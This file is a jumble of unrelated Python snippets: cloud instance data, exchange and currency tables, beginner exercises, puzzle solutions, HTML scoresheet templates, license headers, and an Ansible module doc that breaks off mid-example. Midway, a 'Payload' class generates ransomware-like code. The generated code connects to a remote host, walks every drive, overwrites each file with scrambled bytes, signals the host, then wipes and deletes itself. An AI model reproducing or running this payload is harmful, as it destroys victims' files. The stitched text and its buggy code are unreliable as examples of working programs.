'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 2, 'DefaultCores': 2, 'DefaultThreadsPerCore': 1, 'ValidCores': [2], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 4096}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 3, 'Ipv4AddressesPerInterface': 10, 'Ipv6AddressesPerInterface': 10, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 4, 'DefaultCores': 4, 'DefaultThreadsPerCore': 1, 'ValidCores': [4], 'ValidThreadsPerCore': [1], 'SizeInMiB': 8192, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 4, 'DefaultCores': 4, 'DefaultThreadsPerCore': 1, 'ValidCores': [4], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 8192}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 8, 'DefaultCores': 8, 'DefaultThreadsPerCore': 1, 'ValidCores': [8], 'ValidThreadsPerCore': [1], 'SizeInMiB': 16384, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.2xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 8, 'DefaultCores': 8, 'DefaultThreadsPerCore': 1, 'ValidCores': [8], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 16384}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 16, 'DefaultCores': 16, 'DefaultThreadsPerCore': 1, 'ValidCores': [16], 'ValidThreadsPerCore': [1], 'SizeInMiB': 32768, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.4xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 16, 'DefaultCores': 16, 'DefaultThreadsPerCore': 1, 'ValidCores': [16], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 32768}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 16, 'SizeInMiB': 32768, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.metal', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': True, 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 16}, 'MemoryInfo': {'SizeInMiB': 32768}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}] # noqa: E501 def get_instances_list() -> list: '''Returns list EC2 instances with InstanceType = a .''' # pylint: disable=all return get
# https://stockmarketmba.com/globalstockexchanges.php exchanges = { 'USA': None, 'Germany': 'XETR', 'Hong Kong': 'XHKG', 'Japan': 'XTKS', 'France': 'XPAR', 'Canada': 'XTSE', 'United Kingdom': 'XLON', 'Switzerland': 'XSWX', 'Australia': 'XASX', 'South Korea': 'XKRX', 'The Netherlands': 'XAMS', 'Spain': 'XMAD', 'Russia': 'MISX', 'Italy': 'XMIL', 'Belgium': 'XBRU', 'Mexiko': 'XMEX', 'Sweden': 'XSTO', 'Norway': 'XOSL', 'Finland': 'XHEL', 'Denmark': 'XCSE', 'Austria': 'XWBO' } exchanges_untested = { 'Argentina': 'XBUE', 'Australia_XNEC': 'XNEC', 'Australia': 'XASX', 'Austria': 'XWBO', 'Bahrain': 'XBAH', 'Bangladesh': 'XDHA', 'Belgium': 'XBRU', 'Brazil': 'BVMF', 'Canada_XCNQ': 'XCNQ', 'Canada': 'XTSE', 'Canada_XTSX': 'XTSX', 'Canada_NEOE': 'NEOE', 'Chile': 'XSGO', 'China_SHG': 'XSHG', 'China': 'XSHE', 'Colombia': 'XBOG', 'Croatia': 'XZAG', 'Cyprus': 'XCYS', 'Czech Republic': 'XPRA', 'Denmark': 'XCSE', 'Egypt': 'XCAI', 'Finland': 'XHEL', 'France': 'XPAR', 'Germany_XEQT': 'XEQT', 'Germany_XBER': 'XBER', 'Germany_XDUS': 'XDUS', 'Germany_XFRA': 'XFRA', 'Germany_XMUN': 'XMUN', 'Germany_XSTU': 'XSTU', 'Germany': 'XETR', 'Germany_XQTX': 'XQTX', 'Greece': 'XATH', 'Hong Kong': 'XHKG', 'Hungary': 'XBUD', 'Iceland': 'XICE', 'India_XBOM': 'XBOM', 'India': 'XNSE', 'Indonesia': 'XIDX', 'Ireland': 'XDUB', 'Israel': 'XTAE', 'Italy': 'MTAA', 'Japan': 'XTKS', 'Jordan': 'XAMM', 'Kenya': 'XNAI', 'Kuwait': 'XKUW', 'Luxembourg': 'XLUX', 'Malaysia': 'XKLS', 'Mexico': 'XMEX', 'Morocco': 'XCAS', 'New Zealand': 'XNZE', 'Nigeria': 'XNSA', 'Norway': 'XOSL', 'Norway_NOTC': 'NOTC', 'Oman': 'XMUS', 'Pakistan': 'XKAR', 'Peru': 'XLIM', 'Philippines': 'XPHS', 'Poland': 'XWAR', 'Portugal': 'XLIS', 'Qatar': 'DSMD', 'Romania': 'XBSE', 'Russia': 'MISX', 'Saudi Arabia': 'XSAU', 'Senegal': 'XBRV', 'Singapore': 'XSES', 'Slovenia': 'XLJU', 'South Africa': 'XJSE', 'South Korea': 'XKRX', 'South Korea_XKOS': 'XKOS', 'Spain': 'XMAD', 'Sri Lanka': 'XCOL', 'Sweden_XNGM': 'XNGM', 'Sweden': 'XSTO', 'Switzerland': 'XSWX', 'Switzerland_XVTX': 'XVTX', 'Syria': 'XDSE', 'Taiwan': 'XTAI', 'Thailand': 'XBKK', 'The Netherlands_XTOMX': 'TOMX', 'The Netherlands': 'XAMS', 'Turkey': 'XIST', 'United Arab Emirates_XDFM': 'XDFM', 'United Arab Emirates_DIFX': 'DIFX', 'United Arab Emirates': 'XADS', 'United Kingdom_BATE': 'BATE', 'United Kingdom_CHIX': 'CHIX', 'United Kingdom': 'XLON', 'United Kingdom_XPOS': 'XPOS', 'United Kingdom_TRQX': 'TRQX', 'United Kingdom_BOAT': 'BOAT', 'USA_XASE': 'XASE', 'USA_BATS': 'BATS', 'USA_XNYS': 'XNYS', 'USA_ARCX': 'ARCX', 'USA_XNMS': 'XNMS', 'USA_XNCM': 'XNCM', 'USA_OOTC': 'OOTC', 'USA_XNGS': 'XNGS', 'USA': None, 'Vietnam': 'XSTC', 'Vietnam_HSTC': 'HSTC' } currencies = [ 'ALL', 'AFN', 'ARS', 'AWG', 'AUD', 'AZN', 'BSD', 'BBD', 'BYN', 'BZD', 'BMD', 'BOB', 'BAM', 'BWP', 'BGN', 'BRL', 'BND', 'KHR', 'CAD', 'KYD', 'CLP', 'CNY', 'COP', 'CRC', 'HRK', 'CUP', 'CZK', 'DKK', 'DOP', 'XCD', 'EGP', 'SVC', 'EUR', 'FKP', 'FJD', 'GHS', 'GIP', 'GTQ', 'GGP', 'GYD', 'HNL', 'HKD', 'HUF', 'ISK', 'INR', 'IDR', 'IRR', 'IMP', 'ILS', 'JMD', 'JPY', 'JEP', 'KZT', 'KPW', 'KRW', 'KGS', 'LAK', 'LBP', 'LRD', 'MKD', 'MYR', 'MUR', 'MXN', 'MNT', 'MZN', 'NAD', 'NPR', 'ANG', 'NZD', 'NIO', 'NGN', 'NOK', 'OMR', 'PKR', 'PAB', 'PYG', 'PEN', 'PHP', 'PLN', 'QAR', 'RON', 'RUB', 'SHP', 'SAR', 'RSD', 'SCR', 'SGD', 'SBD', 'SOS', 'ZAR', 'LKR', 'SEK', 'CHF', 'SRD', 'SYP', 'TWD', 'THB', 'TTD', 'TRY', 'TVD', 'UAH', 'GBP', 'USD', 'UYU', 'UZS', 'VEF', 'VND', 'YER', 'ZWD' ]
def SC_DFA(y): N = len(y) tau = int(np.floor(N/2)) y = y - np.mean(y) x = np.cumsum(y) taus = np.arange(5,tau+1) ntau = len(taus) F = np.zeros(ntau) for i in range(ntau): t = int(taus[i]) x_buff = x[:N - N % t] x_buff = x_buff.reshape((int(N / t),t)) y_buff = np.zeros((int(N / t),t)) for j in range(int(N / t)): tt = range(0,int(t)) p = np.polyfit(tt,x_buff[j,:],1) y_buff[j,:] = np.power(x_buff[j,:] - np.polyval(p,tt),2) y_buff.reshape((N - N % t,1)) F[i] = np.sqrt(np.mean(y_buff)) logtaur = np.log(taus) logF = np.log(F) p = np.polyfit(logtaur,logF,1) return p[0]
''' Formula for area of circle Area = pi * r^2 where pi is constant and r is the radius of the circle ''' def findarea(r): PI = 3.142 return PI * (r*r); print("Area is %.6f" % findarea(5));
class Take(object): def __init__(self, stage, unit, entity, not_found_proc, finished_proc): self._stage = stage self._unit = unit self._entity = entity self._finished_proc = finished_proc self._not_found_proc = not_found_proc def enact(self): if not self._entity.location \ or self._entity.location != (self._unit.x, self._unit.y): self._not_found_proc() return self._entity.location = None self._stage.delete_entity(self._entity) self._finished_proc() return
""" Author: CaptCorpMURICA Project: 100DaysPython File: module1_day04_variables.py Creation Date: 6/2/2019, 8:55 AM Description: Learn about using variables in python. """ # Variables need to start with a letter or an underscore. Numbers can be used in the variable name as long as it is not # the first character. Additionally, python is case sensitive, so the same word can store multiple items as long as the # casing differs. greeting = "Hello" _name = "General Kenobi." Greeting = "There" _bestLine_ep3_ = "You are a bold one." # Using string concatenation: print(greeting + " " + Greeting + "\n\t" + _name + " " + _bestLine_ep3_) # Using string replacement: print("{} {}\n\t{} {}".format(greeting, Greeting, _name, _bestLine_ep3_)) # Variables can also store numeric values. released = 2005 # Using string concatenation: print("Revenge of the Sith was released on May 4, " + str(released) + ".") # Using string replacement: print("Revenge of the Sith was released on May 4, {}.".format(released)) # Variables are commonly used in arithmetic operations. a = 3 b = 4 c = (a ** 2 + b ** 2) ** .5 print("Pythagorean Theorem: a^2 + b^2 = c^2, so when a = {} and b = {}, then c = {}".format(a, b, c)) # You can test for contents in a variable. If the test results **True**, then the tested condition is in the variable. # Otherwise, the test returns **False**. film = "Revenge of the Sith" print("Sith" in film) print("sith" in film) print("sith" in film.lower()) # Python variables get their type with the data that is stored. Unlike other programming languages, you do not declare a # type for the variable. Additionally, the same variable can be overwritten with new data and a different type. This # should be taken into account when creating python programs. var = "Variables are mutable" type(var) var = 3 type(var) var = 3.5 type(var) # If the variable contains a numeric value, it can be converted to an integer type with the int() function. var = int(var) type(var) # The variable can be converted to a string with the str() function regardless of the contents. var = str(var) type(var) # If the variable contains a numeric value, it can be converted to an float type with the float() function. var = float(var) type(var) var = True type(var)
rows = [] with open("C:\\Privat\\advent_of_code20\\puzzle14\\input1.txt") as f: for line in f: rows.append(line.strip()) #print(rows) memory = {} currentMask = "" for line in rows: split = line.split(' = ') if 'mask' in split[0]: currentMask = split[1].strip() else: # value in bit bit = format(int(split[1]), '036b') # bit through mask maskl = len(currentMask) bitl = len(bit) result = '' #print(bit) #print(currentMask) for i in range(0, len(bit)): maskBit = currentMask[i] bitBit = bit[i] if maskBit != 'X': result += maskBit else: result += bitBit #print(result) toWrite = int(result, 2) # replace in memory memoryPosition = split[0][4:-1] if not memoryPosition in memory: memory[memoryPosition] = 0 memory[memoryPosition] = toWrite #print(memory) sum = 0 for key in memory: sum += memory[key] print("Sum of all values in memory: " + str(sum))
startHTML = ''' <html> <head> <style> table { border-collapse: collapse; height: 100%; width: 100%; } table, th, td { border: 3px solid black; } @media print { table { page-break-after: always; } } .cutoffs td { border: 0; font-weight: bold; } .compName { font-size: 48pt; font-weight: bold; } .labels { font-size: 24pt; font-weight: bold; } .attempt { font-size: 36pt; font-weight: bold; text-align: center; } .event, .personID, .scrambler { font-size: 24pt; font-weight: bold; width: 60px; } .round, .heat { font-size: 24pt; font-weight: bold; } .personName { font-size: 40pt; font-weight: bold; } .attemptNumber { width: 60px; } .initial { width: 100px; } </style> </head> <body> ''' ao5Table = ''' <table> <tr> <th colspan="6" class="compName">competitionName</th> </tr> <tr> <th colspan="1" class="personID">competitorID</th> <th colspan="3" class="event">eventName</th> <th colspan="1" class="heat">G: heatNumber</th> <th colspan="1" class="round">R: roundNumber</th> </tr> <tr> <th colspan="6" class="personName">competitorName</th> </tr> <tr class="labels"> <th colspan="1" class="scrambler">Scr</th> <th colspan="1" class="attemptNumber">#</th> <th colspan="2">Results</th> <th colspan="1" class="initial">Judge</th> <th colspan="1" class="initial">Comp</th> </tr> <tr class="attempt"> <td colspan="1"> </td> <td colspan="1">1</td> <td colspan="2"> </td> <td colspan="1"> </td> <td colspan="1"> </td> </tr> <tr class="attempt"> <td colspan="1"> </td> <td colspan="1">2</td> <td colspan="2"> </td> <td colspan="1"> </td> <td colspan="1"> </td> </tr> <tr class="cutoffs"> <td colspan="1"></td> <td colspan="1"></td> <td colspan="1">Cutoff: cutoffTime</td> <td colspan="1">Time Limit: timeLimit</td> <td colspan="1"></td> <td colspan="1"></td> </tr> <tr class="attempt"> <td colspan="1"> </td> <td colspan="1">3</td> <td colspan="2"> </td> <td colspan="1"> </td> <td colspan="1"> </td> </tr> <tr class="attempt"> <td colspan="1"> </td> <td colspan="1">4</td> <td colspan="2"> </td> <td colspan="1"> </td> <td colspan="1"> </td> </tr> <tr class="attempt"> <td colspan="1"> </td> <td colspan="1">5</td> <td colspan="2"> </td> <td colspan="1"> </td> <td colspan="1"> </td> </tr> <tr class="empty"> <td colspan="6"></td> </tr> <tr class="attempt"> <td colspan="1"> </td> <td colspan="1">E</td> <td colspan="2"> </td> <td colspan="1"> </td> <td colspan="1"> </td> </tr> </table> ''' mo3Table = ''' <table> <tr> <th colspan="6" class="compName">competitionName</th> </tr> <tr> <th colspan="1" class="personID">competitorID</th> <th colspan="3" class="event">eventName</th> <th colspan="1" class="heat">G: heatNumber</th> <th colspan="1" class="round">R: roundNumber</th> </tr> <tr> <th colspan="6" class="personName">competitorName</th> </tr> <tr class="labels"> <th colspan="1" class="scrambler">Scr</th> <th colspan="1" class="attemptNumber">#</th> <th colspan="2">Results</th> <th colspan="1" class="initial">Judge</th> <th colspan="1" class="initial">Comp</th> </tr> <tr class="attempt"> <td colspan="1"> </td> <td colspan="1">1</td> <td colspan="2"> </td> <td colspan="1"> </td> <td colspan="1"> </td> </tr> <tr class="cutoffs"> <td colspan="1"></td> <td colspan="1"></td> <td colspan="1">Cutoff: cutoffTime</td> <td colspan="1">Time Limit: timeLimit</td> <td colspan="1"></td> <td colspan="1"></td> <tr class="attempt"> <td colspan="1"> </td> <td colspan="1">2</td> <td colspan="2"> </td> <td colspan="1"> </td> <td colspan="1"> </td> </tr> <tr class="attempt"> <td colspan="1"> </td> <td colspan="1">3</td> <td colspan="2"> </td> <td colspan="1"> </td> <td colspan="1"> </td> </tr> <tr class="empty"> <td colspan="6"></td> </tr> <tr class="attempt"> <td colspan="1"> </td> <td colspan="1">E</td> <td colspan="2"> </td> <td colspan="1"> </td> <td colspan="1"> </td> </tr> </table> ''' endHTML = ''' </body> </html> '''
#!/usr/bin/python3 class InstructionNotRecognized(Exception): ''' Exception to throw when an instruction does not have defined conversion code ''' pass reg_labels = """ .section .tdata REG_BANK: .dword 0 .dword 0 .dword 0 .dword 0 .dword 0 .dword 0 .dword 0 .dword 0 """
# Copyright 2022, Kay Hayen, mailto:[email protected] # # Part of "Nuitka", an optimizing Python compiler that is compatible and # integrates with CPython, but also works on its own. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """ Operator code tables These are mostly used to look up the Python C/API from operations or a wrapper used. """ unary_operator_codes = { "UAdd": ("PyNumber_Positive", 1), "USub": ("PyNumber_Negative", 1), "Invert": ("PyNumber_Invert", 1), "Repr": ("PyObject_Repr", 1), "Not": ("UNARY_NOT", 0), } rich_comparison_codes = { "Lt": "LT", "LtE": "LE", "Eq": "EQ", "NotEq": "NE", "Gt": "GT", "GtE": "GE", } containing_comparison_codes = ("In", "NotIn")
# Use snippet 'summarize_a_survey_module' to output a table and a graph of # participant counts by response for one question_concept_id # The snippet assumes that a dataframe containing survey questions and answers already exists # The snippet also assumes that setup has been run # Update the next 3 lines survey_df = YOUR_DATASET_NAME_survey_df question_concept_id = 1585940 denominator = None # e.g: 200000 #################################################################################### # DON'T CHANGE FROM HERE #################################################################################### def summarize_a_question_concept_id(df, question_concept_id, denominator=None): df = df.loc[df['question_concept_id'] == question_concept_id].copy() new_df = df.groupby(['answer_concept_id', 'answer'])['person_id']\ .nunique()\ .reset_index()\ .rename(columns=dict(person_id='n_participant'))\ .assign(answer_concept_id = lambda x: np.int32(x.answer_concept_id)) if denominator: new_df['response_rate'] = round(100*new_df['n_participant']/denominator,2) if question_concept_id in df['question_concept_id'].unique(): print(f"Distribution of response to {df.loc[df['question_concept_id'] == question_concept_id, 'question'].unique()[0]}") # show table display(new_df) # show graph display(ggplot(data=new_df) + geom_bar(aes(x='answer', y='n_participant'), stat='identity') + coord_flip() + labs(y="Participant count", x="") + theme_bw()) else: print("There is an error with your question_concept_id") summarize_a_question_concept_id(survey_df, question_concept_id, denominator)
class LOG: def info(message): print("Info: " + message) def error(message): print("Error: " + message) def debug(message): print("Debug: " + message)
if __name__ == '__main__': # Fill in the code to do the following # 1. Set x to be a non-negative integer (no decimals, no negatives) # 2. If x is divisible by 3, print 'Fizz' # 3. If x is divisible by 5, print 'Buzz' # 4. If x is divisible by both 3 and 5, print 'FizzBuzz' # 5. If x is divisible by neither 3 nor 5, do not print anything # # How to check if a number is divisble by another number? # Use modulus division! Modulus division tells you what the # remainder is after you do as many divisions as you can. It is performed # with the % operator. # # For example, 7 / 4 = 1 with 3 remaining. Modulus division will return # 3 for this example, that is, 7 % 4, will return 3. If a number is x is # divisible by another number y, x % y will be 0. So, 4 % 2 = 0. # Change assignment here x = 1 # Insert conditional(s) here
# # 如果目标值存在返回下标,否则返回 -1 # @param nums int整型一维数组 # @param target int整型 # @return int整型 # class Solution: def search(self, nums, target): begin, end = 0, len(nums) - 1 while begin < end: mid = (begin + end) // 2 if nums[mid] >= target: end = mid else: begin = mid + 1 return end if end >= 0 and nums[end] == target else -1
class Solution: def rotate(self, matrix) -> None: result = [] for i in range(0,len(matrix)): store = [] for j in range(len(matrix)-1,-1,-1): store.append(matrix[j][i]) result.append(store) for i in range(0,len(result)): matrix[i] = result[i] return matrix a = Solution() print(a.rotate([[1,2],[3,4]]))
provinces = [ # ["nunavut", 2], # ["yukon", 4], # ["Northwest%20Territories",2], # ["Prince%20Edward%20Island", 6], # ["Newfoundland%20and%20Labrador", 12], # ["New%20Brunswick", 28], # ["Nova%20Scotia", 36], # ["Saskatchewan", 34], # ["Manitoba", 40], # ["Alberta", 167], # ["British%20Columbia", 307], # ["quebec", 407], ["ontario", 1000], # ["calgary", 811], ]
# Copyright 2019 Open Source Robotics Foundation, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Implementation of `InvalidLaunchFileError` class.""" class InvalidLaunchFileError(Exception): """Exception raised when the given launch file is not valid.""" def __init__(self, extension='', *, likely_errors=None): """Constructor.""" self._extension = extension self._likely_errors = likely_errors if self._extension == '' or not self._likely_errors: self._error_message = ( 'The launch file may have a syntax error, or its format is unknown' ) else: self._error_message = ( 'Caught exception when trying to load file of format [{}]: {}' ).format(self._extension, self._likely_errors[0]) self.__cause__ = self._likely_errors[0] def __str__(self): """Pretty print.""" return self._error_message
class Estrella: def __init__(self,galaxia ="none",temperatura = 0,masa = 0): self.galaxia = galaxia self.temperatura = temperatura self.masa = masa
L = int(input()) Tot = 0 Med = 0 T = str(input()).upper() M = [[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0]] for i in range(12): for j in range(12): M[i][j] = float(input()) for j in range(12): Tot =+ M[L][j] Med = Tot/12 if T == "M": print('{:.1f}'.format(Med)) else: print('{:.1f}'.format(Tot))
######################### # DO NOT MODIFY ######################### # SETTINGS.INI C_MAIN_SETTINGS = 'Main_Settings' P_DIR_IGNORE = 'IgnoreDirectories' P_FILE_IGNORE = 'IgnoreFiles' P_SRC_DIR = 'SourceDirectory' P_DEST_DIR = 'DestinationDirectories' P_BATCH_SIZE = 'BatchProcessingGroupSize' P_FILE_BUFFER = 'FileReadBuffer' P_SERVER_IP = 'SFTPServerIP' P_SERVER_PORT = 'SFTPServerPort' # SUPPORTED HASHES H_SHA_256 = 'sha256' H_SHA_224 = 'sha224' H_SHA_384 = 'sha384' H_SHA_512 = 'sha512' H_SHA_1 = 'sha1' H_MD5 = 'md5' H_CRC_32 = 'crc32' H_ADLER_32 = 'adler32'
def bubble_sort(iterable): return sorted(iterable) def selection_sort(iterable): return sorted(iterable) def insertion_sort(iterable): return sorted(iterable) def merge_sort(iterable): return sorted(iterable) def quicksort(iterable): return sorted(iterable)
class Payload: def __init__(self, host,port, strs): self.host,self.port,self.strs = host,port,strs def create(self): return """ conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) conn.connect(('{host}' , int({port}))) from os import walk\nfrom string import ascii_lower as a for l in a:\n\ttry :\n\t\topen(l +':\\')\n\texcept:\n\t\tpass\n\telse :ds.append(l) for d in ds:\n\tfor r, _, fs in walk(d):\n\t\tif len(fs) == 0:\n\t\t\tpass\n\t\tfor f in fs:\n\t\t\twith open(r +'\\' +f, "rb+") as f: \t\t\t\tfd = f.read()\n\t\t\t\tf.truncate()\n\t\t\t\tf.write(''.join(chr(ord(l) + {})for l in fd)) conn.send(b"->|")\nwith open(__file__, "rb+") as f:\n\tfd = f.read()\n\tf.truncate()\n\tf.write(b'0' * len(fd))\n\tos.remove(__file__) """.format(host = self.host, port = str(port))
class Author: @property def surname(self): return self._surname @property def firstname(self): return self._firstname @property def affiliation(self): return self._affiliation @property def identifier(self): return self._identifier @firstname.setter def firstname(self, firstname): self._firstname = firstname @affiliation.setter def affiliation(self, affiliation): self._affiliation = affiliation @identifier.setter def identifier(self, identifier): self._identifier = identifier def __init__(self, surname, firstname='', affiliation=None, identifier=None): self._surname = surname self._firstname = firstname if affiliation is not None: self._affiliation = affiliation else: self._affiliation = [] if identifier is not None: self._identifier = identifier else: self._identifier = [] def to_output(self): string = self._surname + "," + self._firstname + " (" try: for affil in self._affiliation: string += affil["name"].replace(";", " ") string += ", " except: print("no affiliation given") string += "), " return string
# “价值 2 个亿”的 AI 代码 while True: print('AI: 你好,我是价值 2 个亿 AI 智能聊天机器人! 有什么想问的的吗?') message = input('我: ') print('AI: ' + message.replace('吗','').replace('?','!'))
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright: (c) 2017, Jon Hawkesworth (@jhawkesworth) <[email protected]> # Copyright: (c) 2017, Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) DOCUMENTATION = r''' --- module: win_toast short_description: Sends Toast windows notification to logged in users on Windows 10 or later hosts description: - Sends alerts which appear in the Action Center area of the windows desktop. options: expire: description: - How long in seconds before the notification expires. type: int default: 45 group: description: - Which notification group to add the notification to. type: str default: Powershell msg: description: - The message to appear inside the notification. - May include \n to format the message to appear within the Action Center. type: str default: Hello, World! popup: description: - If C(no), the notification will not pop up and will only appear in the Action Center. type: bool default: yes tag: description: - The tag to add to the notification. type: str default: Ansible title: description: - The notification title, which appears in the pop up.. type: str default: Notification HH:mm notes: - This module must run on a windows 10 or Server 2016 host, so ensure your play targets windows hosts, or delegates to a windows host. - The module does not fail if there are no logged in users to notify. - Messages are only sent to the local host where the module is run. - You must run this module with async, otherwise it will hang until the expire period has passed. seealso: - module: community.windows.win_msg - module: community.windows.win_say author: - Jon Hawkesworth (@jhawkesworth) ''' EXAMPLES = r''' - name: Warn logged in users of impending upgrade (note use of async to stop the module from waiting until notification expires). community.windows.win_toast: 